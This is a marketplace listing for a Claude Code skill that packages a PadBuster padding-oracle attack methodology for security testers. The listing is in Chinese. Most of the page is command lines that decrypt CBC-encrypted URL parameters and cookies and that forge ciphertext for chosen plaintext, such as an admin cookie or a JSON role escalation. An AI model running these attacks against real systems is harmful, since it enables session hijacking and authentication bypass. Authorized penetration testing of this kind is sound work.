mcpField
P
padbuster-padding-oracle

padbuster-padding-oracle

github.com/wgpsec安全1.8k42 次安装4 天前更新
代码仓库

关于 padbuster-padding-oracle

PadBuster Padding Oracle 攻击方法论介绍 CBC 密文的自动解密与密文伪造,面向安全测试人员。内容涵盖多种编码以及错误响应识别等用法。

主要功能

  1. 01自动解密 CBC 密文
  2. 02伪造指定明文的密文
  3. 03支持多种密文编码
  4. 04自定义错误响应识别

适用场景

  1. 01测试 CBC 应用的填充预言机漏洞
  2. 02还原 URL 参数或 Cookie 中的明文
  3. 03验证任意明文对应的伪造密文

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill padbuster-padding-oracle

安装后在 Claude Code 中输入/padbuster-padding-oracle确认已加载。

详细介绍

来自项目 README

PadBuster Padding Oracle 攻击方法论

PadBuster 是 Padding Oracle 攻击的自动化工具。核心能力:自动解密 CBC 密文 + 伪造任意明文的合法密文 + 支持多种编码。

项目地址:https://github.com/AonCyberLabs/PadBuster

漏洞原理

Padding Oracle 漏洞出现在使用 CBC 模式块加密(AES-CBC/DES-CBC)的应用中,当应用对 padding 错误和其他错误返回不同响应时,攻击者可逐字节还原明文或构造任意密文。

Phase 1: 解密模式

# 解密 URL 参数中的密文(Base64 编码,AES-128)
padbuster "http://target/api?token=ENCRYPTED_VALUE" "ENCRYPTED_VALUE" 16 -encoding 0

# 解密 Cookie 中的密文
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0

# Hex 编码的密文
padbuster "http://target/page?data=HEX_CIPHER" "HEX_CIPHER" 16 -encoding 1

# DES-CBC(块大小 8)
padbuster "http://target/page?token=ENC" "ENC" 8 -encoding 0

Phase 2: 加密模式(伪造密文)

# 伪造 Cookie 值(最危险的利用方式)
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0 \
  -plaintext "admin"

# 伪造 JSON 内容
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "session=BASE64_CIPHER" -encoding 0 \
  -plaintext '{"role":"admin","uid":1}'

Phase 3: 高级选项

# 自定义错误识别(当服务器不用 HTTP 状态码区分时)
padbuster "http://target/decrypt?data=ENC" "ENC" 16 \
  -encoding 0 -error "Invalid padding"

# URL 前缀(密文在 URL 路径中)
padbuster "http://target/api/ENCRYPTED/action" "ENCRYPTED" 16 \
  -encoding 0 -prefix "http://target/api/"

# 密文不含 IV
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -noiv

# 详细输出
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -veryverbose

# 恢复中断的攻击(已知 intermediate 值)
padbuster "http://target/?data=ENC" "ENC" 16 \
  -encoding 0 -intermediate "KNOWN_INTERMEDIATE_HEX"

编码对照表

编码值格式说明
0Base64最常见
1hex (小写)a-f 格式
2hex (大写)A-F 格式
3.NET UrlTokenASP.NET 特有
4WebSafe Base64URL 安全的 Base64

评论

支持 Markdown